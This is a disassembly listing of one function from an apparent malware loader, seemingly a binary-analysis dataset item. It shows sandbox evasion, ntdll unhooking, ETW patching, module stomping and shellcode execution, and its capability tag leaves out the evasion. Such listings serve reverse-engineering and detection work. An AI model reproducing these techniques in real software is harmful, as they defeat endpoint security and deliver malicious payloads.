Function at 0x1400b39e0
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x200
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x1a0], ecx
mov qword [rbp + 0x1a8], rdx
call fcn.14000a5e0
mov dword [rbp + 0x88], 0
mov dword [rbp + 0x164], 0
mov dword [rbp + 0x160], 0
mov dword [rbp + 0x17c], 0
mov dword [rbp + 0x178], 0
lea rax, str.We_are_in_check_sandbox_evasion_n
mov rcx, rax
call fcn.140016140
mov rax, qword [rbp + 0x1a8]
mov rax, qword [rax]
lea rdx, str.yone.exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x1400b3a7c
lea rax, str.Sandbox_detected___Filename_changed_:___n
mov rcx, rax
call fcn.140016140
mov eax, 0xfffffffe
jmp 0x1400b4640
mov dword [rbp + 0x15c], 0x1f00000
mov eax, dword [rbp + 0x15c]
cdqe
mov rcx, rax
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x150], rax
cmp qword [rbp + 0x150], 0
sete al
test al, al
je 0x1400b3ab6
mov eax, 1
jmp 0x1400b4640
mov dword [rbp + 0x174], 0
jmp 0x1400b3ae7
mov rcx, qword [rbp + 0x150]
mov eax, dword [rbp + 0x17c]
lea edx, [rax + 1]
mov dword [rbp + 0x17c], edx
cdqe
add rax, rcx
mov byte [rax], 0
add dword [rbp + 0x174], 1
mov eax, dword [rbp + 0x174]
cmp eax, dword [rbp + 0x15c]
jl 0x1400b3ac2
mov eax, dword [rbp + 0x15c]
cmp eax, dword [rbp + 0x17c]
je 0x1400b3b0d
mov eax, 1
jmp 0x1400b4640
mov rax, qword [rbp + 0x150]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.We_are_in_deofuscate_n
mov rcx, rax
call fcn.140016140
mov edx, 0xc
lea rax, str.tzmqzs__1ss
mov rcx, rax
call fcn.1400156f0
call fcn.140015970
lea rax, str.tzmqzs__1ss
mov rcx, rax
call sub.msvcrt.dll_strlen
lea rdx, [rax + 1]
lea rax, [rbp + 0x60]
mov r8, rdx
lea rdx, str.tzmqzs__1ss
mov rcx, rax
call sub.msvcrt.dll_mbstowcs
lea rax, [rbp + 0x60]
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x148]
mov rcx, rax
call fcn.140015a10
mov qword [rbp + 0x140], rax
cmp qword [rbp + 0x140], 0
je 0x1400b3c4a
mov rax, qword [rbp + 0x140]
lea rdx, str.IvmkjsOmpkzk
mov rcx, rax
call fcn.140015860
mov qword [0x1400b9230], rax
mov rax, qword [rbp + 0x140]
lea rdx, str.mzkzYvsz
mov rcx, rax
call fcn.140015860
mov qword [0x1400b91d0], rax
mov rax, qword [rbp + 0x140]
lea rdx, str.XzkjmmzqkOmpzll
mov rcx, rax
call fcn.140015860
mov qword [0x1400b9200], rax
mov rax, qword [rbp + 0x140]
lea rdx, str.RoIvzhPyYvsz
mov rcx, rax
call fcn.140015860
mov qword [0x1400b9220], rax
mov rax, qword [rbp + 0x140]
lea rdx, str.mzkzYvszRoovqx
mov rcx, rax
call fcn.140015860
mov qword [0x1400b91e0], rax
mov rax, qword [rbp + 0x140]
lea rdx, str.ZqjrLflkzrSpszl
mov rcx, rax
call fcn.140015860
mov qword [0x1400b91f0], rax
mov rax, qword [0x1400b9230]
test rax, rax
je 0x1400b3c86
mov rax, qword [0x1400b91d0]
test rax, rax
je 0x1400b3c86
mov rax, qword [0x1400b9200]
test rax, rax
je 0x1400b3c86
mov rax, qword [0x1400b91e0]
test rax, rax
je 0x1400b3c86
mov rax, qword [0x1400b9220]
test rax, rax
jne 0x1400b3c9f
lea rax, str.Failed_to_load_required_system_functions.
mov rcx, rax
call fcn.140016140
mov eax, 1
jmp 0x1400b4640
mov edx, 9
lea rax, str.qkss1ss
mov rcx, rax
call fcn.1400156f0
call fcn.1400157e0
lea rax, str.qkss1ss
mov rcx, rax
call sub.msvcrt.dll_strlen
lea rdx, [rax + 1]
lea rax, [rbp + 0x30]
mov r8, rdx
lea rdx, str.qkss1ss
mov rcx, rax
call sub.msvcrt.dll_mbstowcs
lea rax, [rbp + 0x30]
mov qword [rbp + 0x138], rax
lea rax, str.We_are_in_isithooked__n
mov rcx, rax
call fcn.140016140
mov rax, qword [rbp + 0x138]
mov rcx, rax
call fcn.140015a10
mov rcx, rax
lea rax, str.QksspkzIvmkjsRzrpmf
mov rdx, rax
call fcn.140015860
mov rcx, rax
call fcn.1400155c0
test eax, eax
setne al
test al, al
je 0x1400b3d45
lea rax, str.__Hooked_n
mov rcx, rax
call fcn.140016140
add dword [rbp + 0x178], 1
jmp 0x1400b3d54
lea rax, str.__Not_Hooked
mov rcx, rax
call fcn.140016140
mov rax, qword [rbp + 0x138]
mov rcx, rax
call fcn.140015a10
mov rcx, rax
lea rax, str.QkOmpkzkIvmkjsRzrpmf
mov rdx, rax
call fcn.140015860
mov rcx, rax
call fcn.1400155c0
test eax, eax
setne al
test al, al
je 0x1400b3d9e
lea rax, str.__Hooked_n
mov rcx, rax
call fcn.140016140
add dword [rbp + 0x178], 1
jmp 0x1400b3dad
lea rax, str.__Not_Hooked
mov rcx, rax
call fcn.140016140
mov rax, qword [rbp + 0x138]
mov rcx, rax
call fcn.140015a10
mov rcx, rax
lea rax, str.QkmzkzKwmzZg
mov rdx, rax
call fcn.140015860
mov rcx, rax
call fcn.1400155c0
test eax, eax
setne al
test al, al
je 0x1400b3df7
lea rax, str.__Hooked_n
mov rcx, rax
call fcn.140016140
add dword [rbp + 0x178], 1
jmp 0x1400b3e06
lea rax, str.__Not_Hooked
mov rcx, rax
call fcn.140016140
lea rax, str.We_are_in_if_nbHooks_0_n
mov rcx, rax
call fcn.140016140
cmp dword [rbp + 0x178], 0
jle 0x1400b4238
movabs rax, 0x6f646e69575c3a43
movabs rdx, 0x65747379535c7377
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x746e5c32336d6574
movabs rdx, 0x6c6c642e6c6c64
mov qword [rbp - 2], rax
mov qword [rbp + 6], rdx
mov dword [rbp - 0x16], 0x7865742e
mov word [rbp - 0x12], 0x74
mov rax, qword [0x1400b9200]
call rax
mov qword [rbp + 0x130], rax
pxor xmm0, xmm0
movups xmmword [rbp - 0x30], xmm0
movq qword [rbp - 0x20], xmm0
mov rax, qword [rbp + 0x138]
mov rcx, rax
call fcn.140015a10
mov qword [rbp + 0x128], rax
lea rcx, [rbp - 0x30]
mov rdx, qword [rbp + 0x128]
mov rax, qword [rbp + 0x130]
mov r9d, 0x18
mov r8, rcx
mov rcx, rax
call sub.KERNEL32.dll_K32GetModuleInformation
mov rax, qword [rbp - 0x30]
mov qword [rbp + 0x120], rax
mov r10, qword [0x1400b91d0]
lea rax, [rbp - 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
mov rcx, rax
call r10
mov qword [rbp + 0x118], rax
mov r10, qword [0x1400b91e0]
mov rax, qword [rbp + 0x118]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
call r10
mov qword [rbp + 0x110], rax
mov r10, qword [0x1400b9220]
mov rax, qword [rbp + 0x110]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
call r10
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x100]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x120]
add rax, rdx
mov qword [rbp + 0xf8], rax
mov word [rbp + 0x172], 0
jmp 0x1400b4103
mov rax, qword [rbp + 0xf8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0xf8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x172]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0xf0]
lea rdx, [rbp - 0x16]
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400b40f2
mov dword [rbp - 0x34], 0
mov rax, qword [0x1400b9230]
mov rdx, qword [rbp + 0xf0]
mov edx, dword [rdx + 8]
mov r10d, edx
mov rdx, qword [rbp + 0xf0]
mov edx, dword [rdx + 0xc]
mov ecx, edx
mov rdx, qword [rbp + 0x120]
add rdx, rcx
mov rcx, rdx
lea rdx, [rbp - 0x34]
mov r9, rdx
mov r8d, 0x40
mov rdx, r10
call rax
test rax, rax
setne al
mov byte [rbp + 0xef], al
mov rax, qword [rbp + 0xf0]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0xf0]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x108]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0xf0]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x120]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [0x1400b9230]
mov ecx, dword [rbp - 0x34]
mov rdx, qword [rbp + 0xf0]
mov edx, dword [rdx + 8]
mov r11d, edx
mov rdx, qword [rbp + 0xf0]
mov edx, dword [rdx + 0xc]
mov r8d, edx
mov rdx, qword [rbp + 0x120]
add rdx, r8
mov r10, rdx
lea rdx, [rbp - 0x34]
mov r9, rdx
mov r8d, ecx
mov rdx, r11
mov rcx, r10
call rax
test rax, rax
setne al
mov byte [rbp + 0xef], al
movzx eax, word [rbp + 0x172]
add eax, 1
mov word [rbp + 0x172], ax
mov rax, qword [rbp + 0xf8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x172], ax
jb 0x1400b3fb6
lea rax, str._n___Detecting_hooks_in_new_ntdll_module_n
mov rcx, rax
call fcn.140016140
lea rax, str.we_are_in_new_ntdll_n
mov rcx, rax
call fcn.140016140
mov rax, qword [rbp + 0x138]
mov rcx, rax
call fcn.140015a10
mov rcx, rax
lea rax, str.QksspkzIvmkjsRzrpmf
mov rdx, rax
call fcn.140015860
mov rcx, rax
call fcn.1400155c0
test eax, eax
setne al
test al, al
je 0x1400b417c
lea rax, str.__Hooked_n
mov rcx, rax
call fcn.140016140
jmp 0x1400b418b
lea rax, str.__Not_Hooked_n
mov rcx, rax
call fcn.140016140
mov rax, qword [rbp + 0x138]
mov rcx, rax
call fcn.140015a10
mov rcx, rax
lea rax, str.QkOmpkzkIvmkjsRzrpmf
mov rdx, rax
call fcn.140015860
mov rcx, rax
call fcn.1400155c0
test eax, eax
setne al
test al, al
je 0x1400b41ce
lea rax, str.__Hooked_n
mov rcx, rax
call fcn.140016140
jmp 0x1400b41dd
lea rax, str.__Not_Hooked_n
mov rcx, rax
call fcn.140016140
mov rax, qword [rbp + 0x138]
mov rcx, rax
call fcn.140015a10
mov rcx, rax
lea rax, str.QkmzkzKwmzZg
mov rdx, rax
call fcn.140015860
mov rcx, rax
call fcn.1400155c0
test eax, eax
setne al
test al, al
je 0x1400b4227
lea rax, str.__Hooked_n
mov rcx, rax
call fcn.140016140
add dword [rbp + 0x178], 1
jmp 0x1400b4247
lea rax, str._Not_Hooked_n
mov rcx, rax
call fcn.140016140
jmp 0x1400b4247
lea rax, str.No_hooked_modules_to_unhook_it_
mov rcx, rax
call fcn.140016140
mov rax, qword [rbp + 0x138]
mov rcx, rax
call fcn.140015a10
mov qword [rbp + 0xe0], rax
mov rax, qword [rbp + 0xe0]
lea rdx, str.QksspkzIvmkjsRzrpmf
mov rcx, rax
call fcn.140015860
mov qword [rbp + 0xd8], rax
mov rax, qword [rbp + 0xe0]
lea rdx, str.QkHmvkzIvmkjsRzrpmf
mov rcx, rax
call fcn.140015860
mov qword [rbp + 0xd0], rax
mov rax, qword [rbp + 0xe0]
lea rdx, str.QkOmpkzkIvmkjsRzrpmf
mov rcx, rax
call fcn.140015860
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xe0]
lea rdx, str.QkmzkzKwmzZg
mov rcx, rax
call fcn.140015860
mov qword [rbp + 0xc0], rax
lea rax, str.We_are_in_patch_ETW_n
mov rcx, rax
call fcn.140016140
mov edx, 0xd
lea rax, str.ZkhZizqkHmvkz
mov rcx, rax
call fcn.1400156f0
mov rax, qword [rbp + 0x138]
mov rcx, rax
call fcn.140015a10
mov rcx, rax
lea rax, str.ZkhZizqkHmvkz
mov rdx, rax
call fcn.140015860
mov qword [rbp + 0xb8], rax
mov byte [rbp + 0x2f], 0xc3
mov dword [rbp + 0x28], 0
mov qword [rbp + 0x20], 0x1000
mov rax, qword [rbp + 0xb8]
mov qword [rbp + 0x18], rax
mov rbx, qword [rbp + 0xc8]
mov rax, qword [0x1400b9200]
call rax
mov rcx, rax
lea r8, [rbp + 0x20]
lea rax, [rbp + 0x18]
lea rdx, [rbp + 0x28]
mov qword [rsp + 0x20], rdx
mov r9d, 4
mov rdx, rax
call rbx
mov rbx, qword [rbp + 0xd0]
mov rax, qword [0x1400b9200]
call rax
mov rcx, rax
lea rdx, [rbp + 0x2f]
mov rax, qword [rbp + 0xb8]
mov qword [rsp + 0x20], 0
mov r9d, 1
mov r8, rdx
mov rdx, rax
call rbx
mov rbx, qword [rbp + 0xc8]
mov esi, dword [rbp + 0x28]
mov rax, qword [0x1400b9200]
call rax
mov rcx, rax
lea r8, [rbp + 0x20]
lea rax, [rbp + 0x18]
lea rdx, [rbp + 0x28]
mov qword [rsp + 0x20], rdx
mov r9d, esi
mov rdx, rax
call rbx
lea rax, str.We_are_in_module_stomping_after_patch_etw_n
mov rcx, rax
call fcn.140016140
mov edx, 8
lea rax, str.rlv1ss
mov rcx, rax
call fcn.1400156f0
lea rax, str.rlv1ss
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0xa8]
add rax, rdx
mov qword [rbp + 0xa0], rax
mov dword [rbp + 0x16c], 0
mov rax, qword [rbp + 0xa0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0xa0]
lea rcx, [rdx + rax]
mov eax, dword [rbp + 0x16c]
lea edx, [rax + 1]
mov dword [rbp + 0x16c], edx
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x98]
mov rdx, rax
lea rax, str.Try_to_find_.text_section__sec_name__s
mov rcx, rax
call fcn.140016140
mov rax, qword [rbp + 0x98]
mov r8d, 5
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strncmp
test eax, eax
jne 0x1400b4440
mov rax, qword [rbp + 0x98]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0xa8]
add rax, rdx
mov qword [rbp + 0x90], rax
mov r10, qword [0x1400b9230]
lea rdx, [rbp + 0x88]
mov rax, qword [rbp + 0x90]
mov r9, rdx
mov r8d, 4
mov edx, 0x1000
mov rcx, rax
call r10
test rax, rax
sete al
test al, al
je 0x1400b451a
mov eax, 0xfffffffe
jmp 0x1400b4640
lea rax, str.We_are_in_shellcode_phase_n
mov rcx, rax
call fcn.140016140
mov dword [rbp + 0x168], 0
jmp 0x1400b4564
mov eax, dword [rbp + 0x168]
movsxd rdx, eax
mov rax, qword [rbp + 0x90]
add rdx, rax
mov eax, dword [rbp + 0x168]
cdqe
lea rcx, [0x1400b9240]
movzx eax, byte [rax + rcx]
mov byte [rdx], al
add dword [rbp + 0x168], 1
mov eax, dword [rbp + 0x168]
cdqe
cmp rax, 0x1fd
jbe 0x1400b4535
mov edx, 0x13
lea rax, str.zlkfljpvqkwzhpms
mov rcx, rax
call fcn.1400156f0
mov rax, qword [rbp + 0x90]
mov rcx, rax
call fcn.140015c20
lea rax, str.After_decrypt_shellcode_n
mov rcx, rax
call fcn.140016140
mov r10, qword [0x1400b9230]
mov edx, dword [rbp + 0x88]
lea rcx, [rbp + 0x88]
mov rax, qword [rbp + 0x90]
mov r9, rcx
mov r8d, edx
mov edx, 0x1000
mov rcx, rax
call r10
test rax, rax
sete al
test al, al
je 0x1400b45fd
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.Failed_to_converting_protection_to_RW___u__n
mov rcx, rax
call fcn.140016140
mov eax, 0xfffffffe
jmp 0x1400b4640
lea rax, str.we_are_in_now_run_shellcode_n
mov rcx, rax
call fcn.140016140
mov r8, qword [0x1400b91f0]
mov rax, qword [rbp + 0x90]
mov edx, 2
mov rcx, rax
call r8
mov dword [rbp + 0x8c], eax
cmp dword [rbp + 0x8c], 0
je 0x1400b463b
mov eax, 1
jmp 0x1400b4640
mov eax, 0
add rsp, 0x200
pop rbx
pop rsi
pop rbp
ret